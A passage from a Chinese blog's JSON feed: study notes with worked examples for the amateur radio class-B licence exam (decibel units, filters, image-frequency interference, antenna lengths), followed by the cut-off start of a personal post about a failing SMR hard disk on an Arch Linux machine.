<td>meters<\/td>\n      <td>\u7c73<\/td>\n    <\/tr>\n    <tr>\n      <td>SK<\/td>\n      <td>Stop Keying<\/td>\n      <td>\u505c\u6b62\u62cd\u53d1\uff0c\u505c\u6b62\u6309\u7535\u952e<\/td>\n    <\/tr>\n    <tr>\n      <td>WTS<\/td>\n      <td>watts<\/td>\n      <td>\u74e6\u7279<\/td>\n    <\/tr>\n    <tr>\n      <td>LW<\/td>\n      <td>long wire<\/td>\n      <td>\u957f\u7ebf\u5929\u7ebf<\/td>\n    <\/tr>\n    <tr>\n      <td>NB<\/td>\n      <td>Noise Block<\/td>\n      <td>\u6291\u5236\u566a\u97f3<\/td>\n    <\/tr>\n    <tr>\n      <td>ALC<\/td>\n      <td>Auto Power Level Control<\/td>\n      <td>\u53d1\u4fe1\u81ea\u52a8\u7535\u5e73\u63a7\u5236<\/td>\n    <\/tr>\n    <tr>\n      <td>AT<\/td>\n      <td>Auto antenna Tuner<\/td>\n      <td>\u81ea\u52a8\u5929\u7ebf\u8c03\u8c10<\/td>\n    <\/tr>\n    <tr>\n      <td>VOX<\/td>\n      <td>Voice Operated Tx<\/td>\n      <td>\u53d1\u4fe1\u673a\u58f0\u63a7<\/td>\n    <\/tr>\n    <tr>\n      <td>RIT<\/td>\n      <td>Receive(RX) Incremental Tuning<\/td>\n      <td>\u63a5\u6536\u589e\u91cf\u8c03\u8c10<\/td>\n    <\/tr>\n    <tr>\n      <td>XIT<\/td>\n      <td>TX Incremental Tuning<\/td>\n      <td>\u53d1\u9001\u589e\u91cf\u8c03\u8c10<\/td>\n    <\/tr>\n  <\/tbody>\n<\/table>\n\n<h2 id=\"\u5206\u8d1d\u76f8\u5173\u7684\u8ba1\u7b97\">\u5206\u8d1d\u76f8\u5173\u7684\u8ba1\u7b97<\/h2>\n<p>\u9700\u8981\u77e5\u9053\u7684\u662f\uff0c\u5173\u4e8e dB, dBw, dBm, dBu, dBi, dBd \u4ee5\u53ca\u6863\u4f4d S0-S9 \u7684\u8ba1\u7b97\uff0c\u53ea\u8981\u5f04\u61c2\u5176\u4e2d\u539f\u7406\uff0c\u7b54\u6848\u5168\u90e8\u662f\u53ef\u4ee5\u73b0\u573a\u63a8\u51fa\u6765\u7684\u3002\u6211\u82b1\u4e86\u70b9\u65f6\u95f4\u624d\u4e86\u89e3\u8fd9\u51e0\u4e2a\u5b9a\u4e49\u7684\u542b\u4e49\uff0c\u8fd9\u91cc\u53ef\u4ee5\u7b80\u5355\u770b\u770b\u4e0b\u8868\u518d\u770b\u8fd9\u4e2a\u8be6\u7ec6\u7684\u63a8\u7406\u8ba1\u7b97\u8fc7\u7a0b<a href=\"https:\/\/www.espressif.com\/zh-hans\/media\/blog\/%E5%A2%9E%E7%9B%8A%E6%AF%94%E5%80%BC-db-%E4%BB%A5%E5%8F%8A-dbw-dbmv-%E7%AD%89%E4%B9%8B%E8%AF%A6%E8%A7%A3\">\u8bf4\u660e<\/a>\u3002\u5982\u679c\u5b66\u8fc7\u521d\u4e2d\u6570\u5b66\u548c\u521d\u4e2d\u7269\u7406\uff0c\u90a3\u4e48\u9884\u8ba1\u4e00\u5c0f\u65f6\u5185\u53ef\u4ee5\u5b8c\u5168\u638c\u63e1\u3002<\/p>\n\n<p>\u770b\u61c2 dB \u7684\u8ba1\u7b97\u4e4b\u540e\u5c31\u80fd\u79d2\u6740\u4e0a\u9762\u63d0\u5230\u7684\u51e0\u4e2a\u9898\u76ee\u4e86\u3002<\/p>\n\n<p>\u5199\u535a\u5ba2\u7684\u521d\u8877\u662f\u4e3a\u4e86\u8ba9\u5c3d\u91cf\u591a\u7684\u4eba\u90fd\u80fd\u770b\u61c2\uff0c\u6240\u4ee5\u6211\u5c3d\u91cf\u628a\u8be6\u7ec6\u7684\u57fa\u7840\u77e5\u8bc6\u5217\u51fa\u6765\u3002\u5148\u4e86\u89e3\u5bf9\u6570\u8ba1\u7b97\u7684\u57fa\u672c\u516c\u5f0f<\/p>\n\n<p>$\\log_b(x \\cdot y) = \\log_b x + \\log_b y$<\/p>\n\n<p>$\\log_b \\left(\\frac{x}{y}\\right) = \\log_b x - \\log_b y$<\/p>\n\n<p>$\\log_b(x^k) = k \\log_b x$<\/p>\n\n<p>$\\log_b b = 1$<\/p>\n\n<p>$\\log_b 1 = 0$<\/p>\n\n<p>$\\log_{10} k =\\lg k$<\/p>\n\n<p>$\\lg2=0.3$<\/p>\n\n<p>$\\lg10=1$<\/p>\n\n<p>\u4ee5\u53ca\u6307\u6570\u8ba1\u7b97\u7684\u516c\u5f0f<\/p>\n\n<p>$\\frac{1}{x^n}=x^{-n}$<\/p>\n\n<p>\u548c\u4e0a\u9762\u7ed3\u5408\u53ef\u4ee5\u5f97\u5230<\/p>\n\n<p>$\\log_b\\frac{1}{x^k} = k \\log_b x^{-1}=-k\\log_b x$<\/p>\n\n<p>\u7b26\u53f7\u89e3\u91ca\u5982\u4e0b\uff1a<\/p>\n\n<table>\n  <thead>\n    <tr>\n      <th>\u7b26\u53f7<\/th>\n      <th>\u542b\u4e49<\/th>\n      <th>\u5b58\u5728\u7684\u6362\u7b97\u5173\u7cfb<\/th>\n    <\/tr>\n  <\/thead>\n  <tbody>\n    <tr>\n      <td>dB<\/td>\n      <td>\u5206\u8d1d\uff0c\u8fd9\u662f\u4e00\u4e2a\u628a\u500d\u6570\u5316\u7b80\u7684\u5199\u6cd5\uff0c\u548c\u6570\u5b66\u9664\u6cd5\u7684\u500d\u6570\u5b8c\u5168\u4e00\u6837\uff0c\u53ea\u662f\u5199\u6cd5\u4e0d\u540c<\/td>\n      <td>$dB=10\\lg\\frac{A}{B}$<\/td>\n    <\/tr>\n    <tr>\n      <td>dBw<\/td>\n      <td>\u5206\u8d1d\u74e6\uff0c\u8fd9\u91cc\u7528\u4e0b\u6807 $o$ \u6307\u4ee3\u4f5c\u4e3a\u53c2\u8003\u7684\u5355\u4f4d\u529f\u7387\u6216\u8005\u5355\u4f4d\u7535\u6d41\u3001\u5355\u4f4d\u7535\u538b<\/td>\n      <td>$0dBw=10\\lg\\frac{P}{Po}=10\\lg\\frac{I^2R}{I^2_oR}=10\\lg\\frac{\\frac{U^2}{R}}{\\frac{U^2_o}{R}}=20\\lg\\frac{I}{I_o}=20\\lg\\frac{U}{U_o}$<\/td>\n    <\/tr>\n    <tr>\n      <td>dBm<\/td>\n      <td>\u5206\u8d1d\u6beb\u74e6\uff08 \u6beb\u74e6\u662f10^-3\u74e6\uff09<\/td>\n      <td>$0dBw=10\\lg\\frac{1w}{1mw}=10\\lg\\frac{1000mw}{1mw}=30dBm$<\/td>\n    <\/tr>\n    <tr>\n      <td>dBu<\/td>\n      <td>\u5206\u8d1d $\\mu$\u74e6  ($\\mu$\u74e6\u662f10^-6\u74e6\uff09<\/td>\n      <td>$0dBm=10\\lg\\frac{1mw}{1\\mu w}=10\\lg\\frac{1000\\mu w}{1\\mu w}=30dB\\mu$ \u56e0\u6b64 $0dBw=30dBm=60dB\\mu$<\/td>\n    <\/tr>\n    <tr>\n      <td>dBi<\/td>\n      <td>\u5206\u8d1d\u70b9\u6e90\u5929\u7ebf\u529f\u7387\uff0c\u4e00\u822c\u8ba1\u7b97\u7684\u65f6\u5019\u4ee5\u8fd9\u4e2a\u4e3a 0dBw \u4f5c\u4e3a\u76f8\u5bf9\u503c\u8ba1\u7b97<\/td>\n      <td>0dBi=0dBd-2.15dB<\/td>\n    <\/tr>\n    <tr>\n      <td>dBd<\/td>\n      <td>\u5206\u8d1d\u5076\u6781\u5929\u7ebf\u529f\u7387<\/td>\n      <td>0dBd=2.15dBi<\/td>\n    <\/tr>\n  <\/tbody>\n<\/table>\n\n<p>\u6839\u636e\u503c $\\lg2=0.3$  \u548c $\\lg10=1$ \uff0c\u4ee5\u53ca $0dB=10\\lg \\frac{A}{B}$ \u4e09\u4e2a\u57fa\u672c\u77e5\u8bc6\uff0c\u5c31\u80fd\u63a8\u7406\u51fa\u4ee5\u4e0b\u5185\u5bb9<\/p>\n\n<p>dB \u503c\u52a03,\u5bf9\u5e94\u500d\u6570\u4e58\u4ee5 2\ndB \u503c\u52a010,\u5bf9\u5e94\u500d\u6570\u4e58\u4ee5 10\ndB \u503c\u51cf3,\u5bf9\u5e94\u500d\u6570\u9664\u4ee5 2\ndB \u503c\u51cf10,\u5bf9\u5e94\u500d\u6570\u9664\u4ee5 10<\/p>\n\n<p>\u8fd9\u91cc\u4ee5\u9898\u76ee LK0543 \u4e3a\u4f8b<\/p>\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n<\/pre><\/td><td class=\"rouge-code\"><pre>0415. \u67d0\u7535\u8def\u8f93\u51fa\u4fe1\u53f7\u529f\u7387\u662f\u8f93\u5165\u4fe1\u53f7\u529f\u7387\u7684100\u4e07\u500d\uff0c\u8be5\u7535\u8def\u7684\u589e\u76ca\u4e3a\uff1a [LK0543]\n\n1. 60dB\n2. 100dB\n3. 99\u4e07dB\n4. 100\u4e07dB\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n<p>\u8ba1\u7b97\u8fc7\u7a0b\u4fbf\u662f $x dB= 10\\lg\\frac{10^6}{1}=60dB$<\/p>\n\n<p>\u9898\u76ee LK0544<\/p>\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n<\/pre><\/td><td class=\"rouge-code\"><pre>0416. \u67d0\u7535\u8def\u8f93\u51fa\u4fe1\u53f7\u529f\u7387\u662f\u8f93\u5165\u4fe1\u53f7\u529f\u7387\u76845\u500d\uff0c\u8be5\u7535\u8def\u7684\u589e\u76ca\u7ea6\u4e3a\uff1a [LK0544]\n\n1. 7dB\n2. 3.5dB\n3. 5dB\n4. 14dB\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n<p>\u8ba1\u7b97\u8fc7\u7a0b\u4fbf\u662f $xdB=10\\lg{5}{1}=10\\lg\\frac{10}{2}=10(\\lg10-\\lg2)=10(1-\\lg2)=10(1-0.3)=7dB$<br \/>\n\u9700\u8981\u8bb0\u4f4f\u7279\u6b8a\u503c $\\lg2=0.3$ \uff0c\u5176\u4ed6\u7684\u90fd\u80fd\u63a8\u7406\u51fa\u6765\u4e86\u3002<\/p>\n\n<p>\u9898\u76ee LK0555<\/p>\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n<\/pre><\/td><td class=\"rouge-code\"><pre>0427. \u67d0\u7535\u8def\u8f93\u51fa\u4fe1\u53f7\u7535\u538b\u662f\u8f93\u5165\u4fe1\u53f7\u7535\u538b\u7684\u4e07\u5206\u4e4b\u4e00\uff0c\u8be5\u7535\u8def\u7684\u589e\u76ca\u4e3a\uff1a\uff08\u201dx\uff3em\u201d\u8868\u793a\u201cx\u7684m\u6b21\u65b9\u201d\uff09 [LK0555]\n\n1. -80dB\n2. -10,000 dB\n3. 1\/10,000 dB\n4. 10\uff3e-4dB\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n<p>\u56e0\u4e3a\u8fd9\u91cc\u662f\u7535\u538b\uff0c\u6240\u4ee5lg\u524d\u9762\u7684\u500d\u6570\u662f20,\u8ba1\u7b97\u8fc7\u7a0b $xdB=20\\lg \\frac{1}{10000} =20\\lg \\frac{1}{10^4}=20\\lg 10^{-4}=-80dB$<\/p>\n\n<p>\u9898\u76ee LK0565<\/p>\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n<\/pre><\/td><td class=\"rouge-code\"><pre>0437. \u529f\u7387\u4e3a0 dBW\u7684\u5c04\u9891\u4fe1\u53f7\u901a\u8fc7\u8870\u51cf\u91cf\u4e3a 40 dB\u7684\u8870\u51cf\u5668\u540e\uff0c\u8f93\u51fa\u529f\u7387\u4e3a\uff1a [LK0565]\n\n1. 100\u03bcW\n2. 40mW\n3. 140\u03bcW\n4. 0.40 W\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n<p>\u8ba1\u7b97\u8fc7\u7a0b\u4e5f\u5f88\u7b80\u5355 $0dBw-40dB=-40dBw=-10dBm=20dB\\mu=0dB\\mu +20dB =1\\mu w \\times 10 \\times 10 =100\\mu w$\n\u4e5f\u53ef\u4ee5\u8ba1\u7b97\u4e3a $0dBw-40dB=-40dBw=1w \\div 10\\div10\\div10\\div10=10^{-4}w=10^{-1}mw=100\\mu w$<\/p>\n\n<h2 id=\"\u6ee4\u6ce2\u5668\u76f8\u5173\">\u6ee4\u6ce2\u5668\u76f8\u5173<\/h2>\n<p>\u8fd9\u91cc\u63d0\u51e0\u4e2a\u6ee4\u6ce2\u5668\u7684\u6982\u5ff5<\/p>\n\n<table>\n  <thead>\n    <tr>\n      <th>\u6ee4\u6ce2\u5668<\/th>\n      <th>\u529f\u80fd<\/th>\n    <\/tr>\n  <\/thead>\n  <tbody>\n    <tr>\n      <td>\u4f4e\u901a\u6ee4\u6ce2\u5668<\/td>\n      <td>\u4f4e\u4e8e\u8be5\u9891\u6bb5\u7684\u90fd\u80fd\u901a\u8fc7<\/td>\n    <\/tr>\n    <tr>\n      <td>\u9ad8\u901a\u6ee4\u6ce2\u5668<\/td>\n      <td>\u9ad8\u4e8e\u8be5\u9891\u6bb5\u7684\u90fd\u80fd\u901a\u8fc7<\/td>\n    <\/tr>\n    <tr>\n      <td>\u5e26\u901a\u6ee4\u6ce2\u5668<\/td>\n      <td>\u8fd9\u4e2a\u9891\u5e26\u5185\u7684\u90fd\u80fd\u901a\u8fc7<\/td>\n    <\/tr>\n    <tr>\n      <td>\u5e26\u963b\u6ee4\u6ce2\u5668<\/td>\n      <td>\u8fd9\u4e2a\u9891\u5e26\u5185\u7684\u90fd\u80fd\u963b\u6b62<\/td>\n    <\/tr>\n  <\/tbody>\n<\/table>\n\n<p>\u77e5\u9053\u8fd9\u56db\u4e2a\u6982\u5ff5\uff0c\u90a3\u4e48\u9898\u76ee LK0573-LK0576 \u5c31\u6ca1\u95ee\u9898\u4e86\u3002\n\u6ce8\u610f\u4e2d\u7ee7\u53f0\u7684\u4e0a\u884c\u662f\u6307\u63a5\u53d7\u5176\u4ed6\u7535\u53f0\u53d1\u9001\u7684\u4fe1\u53f7\u3002\u4e0b\u884c\u662f\u6307\u53d1\u9001\u51fa\u53bb\u4fe1\u53f7\u3002\u548c\u666e\u901a\u7684\u8bbe\u5907\u662f\u76f8\u53cd\u7684\u3002<\/p>\n\n<h2 id=\"\u955c\u50cf\u9891\u7387\u5e72\u6270\u7684\u8ba1\u7b97\">\u955c\u50cf\u9891\u7387\u5e72\u6270\u7684\u8ba1\u7b97<\/h2>\n<p>\u53ea\u9700\u8bb0\u4f4f\u5e72\u6270\u9891\u7387\u662f $RF\\pm 2\\times IF$ \u5373\u53ef\u7b97\u51fa LK0841-LK0844\n\u4f8b\u5982\u9898\u76ee LK0844<\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n<\/pre><\/td><td class=\"rouge-code\"><pre>0532. \u5728\u8d85\u5916\u5dee\u5f0f\u6536\u4fe1\u673a\u7535\u8def\u4e2d\uff0c\u4fe1\u53f7\u901a\u9053\u7684\u6709\u7528\u4fe1\u53f7\u9891\u7387\u6bd4\u672c\u632f\u9891\u7387\u4f4e\uff08\u6216\u8005\u9ad8\uff09\u4e00\u4e2a\u4e2d\u9891\u9891\u7387\u3002\u4f46\u6bd4\u672c\u632f\u9891\u7387\u9ad8\uff08\u6216\u8005\u4f4e\uff09\u4e00\u4e2a\u4e2d\u9891\u9891\u7387\u7684\u4fe1\u53f7\u4e5f\u53ef\u80fd\u7a9c\u5165\u4fe1\u53f7\u901a\u9053\uff0c\u79f0\u4e3a\u201c\u955c\u50cf\u9891\u7387\u5e72\u6270\u201d\u6216\u201c\u955c\u9891\u5e72\u6270\u201d\u3002\u67d0UHF\u5bf9\u8bb2\u673a\u7684\u4f7f\u7528\u8bf4\u660e\u4e66\u6280\u672f\u6307\u6807\u90e8\u5206\u7ed9\u51fa\u4e86\u7b2c\u4e00\u4e2d\u9891\uff08IF\uff09\u4e3a58.525MHz\uff0c\u4f46\u6ca1\u6709\u66f4\u591a\u7684\u8d44\u6599\u3002\u7531\u6b64\u53ef\u63a8\u6d4b\u5f53\u63a5\u6536435.00MHz\u4fe1\u53f7\u65f6\u4e0b\u8ff0\u9891\u7387\u4e4b\u4e00\u7684\u5f3a\u4fe1\u53f7\u53ef\u80fd\u9020\u6210\u955c\u9891\u5e72\u6270\uff1a [LK0844]\n\n1. 317.95MHz\u6216552.05MHz\n2. 376.475MHz\u6216493.525MHz\n3. 58.525MHz\u6216117.05MHz\n4. 234.10.05MHz\u6216.468.20MHz\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u8ba1\u7b97\n$435.00+58.525\\times 2=552.05$ \n\u548c \n$435.00-58.525\\times 2=317.95$<\/p>\n\n<h2 id=\"\u5929\u7ebf\u632f\u5b50\u957f\u5ea6\u8ba1\u7b97\">\u5929\u7ebf\u632f\u5b50\u957f\u5ea6\u8ba1\u7b97<\/h2>\n<p>\u9898\u76ee LK0916<\/p>\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n<\/pre><\/td><td class=\"rouge-code\"><pre>0563. \u5236\u4f5c\u5de5\u4f5c\u9891\u7387\u4e3af\uff08\u5355\u4f4d\uff1a\u5146\u8d6b\u5179\uff09\u7684\u67d0\u76f8\u63a7\u5929\u7ebf\u9635\u5217\u9700\u8981\u957f\u5ea6\u4e3a1\/4\u6ce2\u957f\u7684\u540c\u8f74\u7535\u7f06\u3002\u5176\u5927\u81f4\u957f\u5ea6\uff08\u5355\u4f4d\uff1a\u7c73\uff09\u4e3a\uff1a [LK0916]\n\n1. 48.8 \/ f\n2. 149.8 \/ f\n3. 75 \/ f\n4. 71.3 \/ f\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u8ba1\u7b97\u8fc7\u7a0b\u6839\u636e\u7535\u78c1\u6ce2\u901f\u5ea6\u7b49\u4e8e\u9891\u7387\u4e58\u4ee5\u6ce2\u957f\uff0c\u5373 $c=\\lambda f$ \u4ee5\u53ca\u7535\u78c1\u6ce2\u5728\u4ecb\u8d28\u4e2d\u7684\u4f20\u64ad\u901f\u7387\u8ba1\u7b97\u53ef\u4ee5\u63a8\u51fa\u3002\u4f20\u64ad\u901f\u7387\u8ddf\u76f8\u5bf9\u4ecb\u7535\u5e38\u6570$\\varepsilon_r$\u76f8\u5173\uff0c\u8fd9\u91cc\u4e0d\u4f5c\u8fc7\u591a\u5f15\u5165\u3002\u53ea\u9700\u8bb0\u4f4f\u76f8\u63a7\u9635\u7684\u94dc\u5bfc\u7ebf\u4e2d\u7535\u78c1\u6ce2\u901f\u7387\u662f0.65c\uff0c\u5076\u6781\u5929\u7ebf\u4e2d\u7684\u8ba1\u7b97\u7528 0.95c\u5373\u53ef\u3002\u8fd9\u91cc\u9700\u89811\/4\u6ce2\u957f\u7535\u7f06\uff0c\u7535\u7f06\u4e2d\u7535\u78c1\u6ce2\u901f\u5ea6\u662f0.65c\uff0c\u90a3\u4e48\n$\\frac{1}{4}\\lambda=\\frac{1}{4} \\times \\frac{0.65c}{f(mHz)}=\\frac{1}{4}\\times \\frac{3\\times 10^8\\times 0.65}{f\\times 10^6}=48.75$<\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n<\/pre><\/td><td class=\"rouge-code\"><pre>0564. \u5236\u4f5c\u5de5\u4f5c\u9891\u7387\u4e3af\uff08\u5355\u4f4d\uff1a\u5146\u8d6b\u5179\uff09\u7684\u534a\u6ce2\u957f\u5076\u6781\u5929\u7ebf\u3002\u6bcf\u4e2a\u632f\u5b50\u7684\u5927\u81f4\u957f\u5ea6\uff08\u5355\u4f4d\uff1a\u7c73\uff09\u4e3a\uff1a [LK0917]\n\n1. 71.3 \/ f\n2. 48.8 \/ f\n3. 142.6 \/ f\n4. 150 \/ f\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u534a\u6ce2\u957f\u5076\u6781\u5929\u7ebf\u6709\u4e24\u4e2a\u632f\u5b50\u3002\u4e24\u4e2a\u632f\u5b50\u603b\u957f\u5ea6\u662f\u534a\u6ce2\u957f\uff0c\u6bcf\u4e2a\u632f\u5b50\u957f\u5ea6\u662f 1\/4 \u6ce2\u957f\u3002\n$\\frac{1}{4}\\lambda=\\frac{1}{4} \\times \\frac{0.95c}{f(mHz)}=\\frac{1}{4}\\times \\frac{3\\times 10^8\\times 0.95}{f\\times 10^6}=71.25$<\/p>\n\n<h1 id=\"\u8dcb\">\u8dcb<\/h1>\n<p>\u4e1a\u4f59\u65e0\u7ebf\u7535\u7684\u8003\u8bd5\u76f8\u5f53\u4e8e\u8003\u4e86\u6c7d\u8f66\u9a7e\u7167\uff0c\u62ff\u5230\u9a7e\u7167\u624d\u662f\u5f00\u8f66\u7684\u57fa\u7840\uff0c\u8003\u8bd5\u53ef\u4ee5\u7a81\u51fb\u5e94\u4ed8\uff0c\u4f46\u662f\u4eba\u751f\u8fd8\u5f97\u8ba4\u771f\u8fc7\u3002<\/p>\n\n<p>73<\/p>\n\n<p>BI1QDZ<\/p>\n","pubDate":"Sat, 01 Jun 2024 14:57:03 +0000","link":"https:\/\/iansmith123.github.io\/2024\/06\/01\/amateur-radio-b-exam\/","guid":"https:\/\/iansmith123.github.io\/2024\/06\/01\/amateur-radio-b-exam\/","category":"\u968f\u7b14"},{"title":"\u574f\u6389\u7684 SMR \u786c\u76d8","description":"<h1 id=\"\u5e8f\u8a00\">\u5e8f\u8a00<\/h1>\n<p>\u4e0a\u4e00\u6b21\u5199\u535a\u5ba2\u662f2021\u5e747\u670812\u65e5\uff0c\u518d\u8fc7\u4e00\u4e2a\u6708\u5c31\u662f\u4e24\u5e74\u4e86\u3002\u4e24\u5e74\u6765\u6574\u65e5\u5fd9\u5fd9\u788c\u788c\uff0c\u5374\u53c8\u788c\u788c\u65e0\u4e3a\uff0c\u8fd1\u6708\u5076\u6709\u5199\u535a\u5ba2\u4e4b\u60f3\u6cd5\uff0c\u5374\u53c8\u61d2\u5f97\u52a8\u624b ;)<\/p>\n\n<p>\u6628\u65e5\u4e3b\u529b\u53f0\u5f0f\u673a\u7684\u786c\u76d8\u7a81\u7136\u6b47\u83dc\u4e86\uff0c\u611f\u6982\u826f\u591a\uff0c\u5fc3\u60c5\u8d77\u8d77\u843d\u843d\uff0c\u51b3\u5b9a\u8bb0\u4e0b\u6765\uff0c\u5f53\u4f5c\u4e00\u4e2a\u56de\u5fc6\u5427<\/p>\n\n<h1 id=\"\u786c\u76d8\u635f\u574f\">\u786c\u76d8\u635f\u574f<\/h1>\n<p>\u53f0\u5f0f\u673a\u76ee\u524d\u662f\u6211\u7684\u4e3b\u529b\u673a\u5668\uff0c\u7cfb\u7edf\u662f Arch + i3wm\u3002<\/p>\n\n<p>\u6628\u5929(2023-06-08T01:00:00Z) \u5230\u5de5\u4f4d\uff0c\u89e3\u9501\u5c4f\u5e55\uff0c\u4e60\u60ef\u6027<code class=\"language-plaintext highlighter-rouge\">sudo pacman -Syu --noconfirm<\/code>\uff0c\u7136\u540e\u51c6\u5907\u5f00\u59cb\u65b0\u4e00\u5929\u7684\u6d51\u6d51\u5669\u5669\uff0c\u53d1\u73b0\u6211\u7684 firefox \u5f02\u5e38\u5361\u987f\u3002\u770b\u4e86\u4e0b CPU\u548c\u5185\u5b58\u662f\u6b63\u5e38\u7684\uff0c\u6211\u5c31\u633a\u7591\u60d1\uff0c\u4e8e\u662f\u91cd\u542f\u4e86 firefox. \u63a5\u7740\u53d1\u73b0\u6211\u7684\u7ec8\u7aef\u4e5f\u662f\u5361\u5361\u7684\uff0c\u4e0d\u80fd\u53ca\u65f6\u54cd\u5e94\u6211\u7684\u56de\u8f66\u3002\u518d\u53bb glances \u770b\u4e86\u770b\uff0ciowait \u633a\u9ad8\uff0c\u4f46\u662f\u770b\u4e86\u4e0b qbittorrent \u8fd8\u5728\u6b63\u5e38\u5de5\u4f5c\uff0c\u4e5f\u5c31\u51e0 kb \u7684\u4e0a\u884c\uff0c\u800c\u4e14\u6211\u8bbe\u5b9a\u4e86\u4e0a\u73ed\u65f6\u95f4\u9650\u901f 10kb , \u770b\u8d77\u6765\u4e5f\u4e0d\u662f qb \u8bfb\u5199\u9020\u6210\u7684\u3002 dstat \u4e5f\u6ca1\u6709\u770b\u5230\u5565\u5947\u602a\u7684\u6307\u6807\u3002<\/p>\n\n<p>\u8ff7\u60d1\u8d77\u6765\u4e86\uff0c\u4f46\u6211\u5e76\u4e0d\u60f3\u53bb\u627e\u539f\u56e0\uff0c\u56e0\u4e3a\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\u5e76\u4e0d\u662f\u6211\u5f53\u524d\u7684\u4e3b\u8981\u77db\u76fe\uff0c\u9047\u4e8b\u4e0d\u51b3\uff0c\u91cd\u542f\u89e3\u51b3\u3002<\/p>\n\n<p>\u6572\u4e0b shutdown -r now \u4e4b\u540e\uff0c\u6211\u8f6c\u5411\u4e86\u65c1\u8fb9\u7684 windows \u7b14\u8bb0\u672c\uff0c\u5f00\u59cb\u4e86\u65b0\u4e00\u5929\u7684\u7f51\u4e0a\u51b2\u6d6a :)<\/p>\n\n<p>\u8fc7\u4e86\u4e24\u5206\u949f\uff0c\u56de\u5934\u4e00\u770b\uff0c\u600e\u4e48\u8fd8\u6ca1\u5f00\u673a\uff0c\u6309\u7406\u8bf410\u79d2\u5c31\u80fd\u91cd\u542f\u5b8c\u770b\u5230 SDDM \u7684\u3002\u8fd9\u624d\u6ce8\u610f\u5230\uff0c\u63d0\u793a\u6211\u8fdb\u5165\u5230\u4e86 Emergency mode\u3002\u8f93\u5165 root \u5bc6\u7801\uff0c\u770b\u4e86\u770b\u65e5\u5fd7\uff0c\u4e00\u8138\u61f5\uff0c\u6ca1\u770b\u5230\u5565\u5947\u602a\u7684\u4e1c\u897f\u554a\uff0c\u6709\u770b\u5230\u8bf4 fsck \u5931\u8d25\uff0c\u4f46\u662f\u8fd9\u4f1a\u5bfc\u81f4\u542f\u52a8\u5931\u8d25\u4e48\uff0c\u6211\u60f3\u5f53\u7136\u7684\u8ba4\u4e3a\u4e86\u8fd9\u4f1a\u8df3\u8fc7\u8fd9\u4e2a\u786c\u76d8\uff0c\u7136\u540e\u5f00\u673a\u6302\u8f7d\u5931\u8d25\u3002\n\u7a81\u7136\uff0c\u4e00\u9053\u95ea\u7535\u5212\u8fc7\uff0c\u8fd9\u662f fsck \u5931\u8d25\u554a\uff0c\u60f3\u5230\u4e86\u4ec0\u4e48\u4e0d\u597d\u7684\u4e8b\u60c5\uff0c\u56e0\u4e3a\u534a\u4e2a\u6708\u524d\u6211\u770b\u5230\u786c\u76d8\u7684 smart \u4fe1\u606f\u4e0d\u592a\u6b63\u5e38\u3002\u5f53\u65f6\u786c\u76d8\u51fa\u73b0\u4e86\u4e00\u6b21 readonly \u7684\u95ee\u9898\uff0c\u4f46\u662f\u91cd\u542f\u89e3\u51b3\u4e86\uff0c\u5f53\u65f6\u60f3\u4e86\u60f3\u8fd9\u4e0a\u9762\u4e1c\u897f\u57fa\u672c\u90fd\u6709\u5907\u4efd\uff0c\u4e5f\u5c31\u6ca1\u53bb\u7ba1\u4ed6\u4e86\u3002<\/p>\n\n<p>\u8fd9\u4e3b\u529b\u673a\u7684\u786c\u76d8\u7684\u9053\u9053\u6709\u70b9\u591a\uff0c\u4e0d\u53ea\u6307\u7684\u662f\u574f\u9053\u6709\u70b9\u591a\uff0c\u5386\u53f2\u6545\u4e8b\u4e5f\u6709\u70b9\u591a\u3002<\/p>\n\n<p>\u673a\u5668\u67093\u5757\u786c\u76d8\uff0c\u4e00\u5757 120G \u7684 sata \u56fa\u6001\uff0c\u4e00\u5757\u662f\u5e0c\u6377\u7684 2T \u7684 <a href=\"https:\/\/www.seagate.com\/cn\/zh\/products\/cmr-smr-list\/\">SMR \u673a\u68b0<\/a>\uff08\u5199\u8fd9\u7bc7\u535a\u5ba2\u4e4b\u524d\u6211\u90fd\u6ca1\u6ce8\u610f\uff09\uff0c\u8fd8\u6709\u4e00\u5757\u662f\u524d\u4e24\u5468\u521a\u4e0a\u673a\u7684\u7528\u6765\u63a5\u66ff\u524d\u9762\u8fd92T\u786c\u76d8\u7684\u5e0c\u6377 EXOS CMR\u673a\u68b0\u786c\u76d8\u3002<\/p>\n\n<p>\u6839\u8def\u5f84\u662f\u90a3\u4e2a 120G 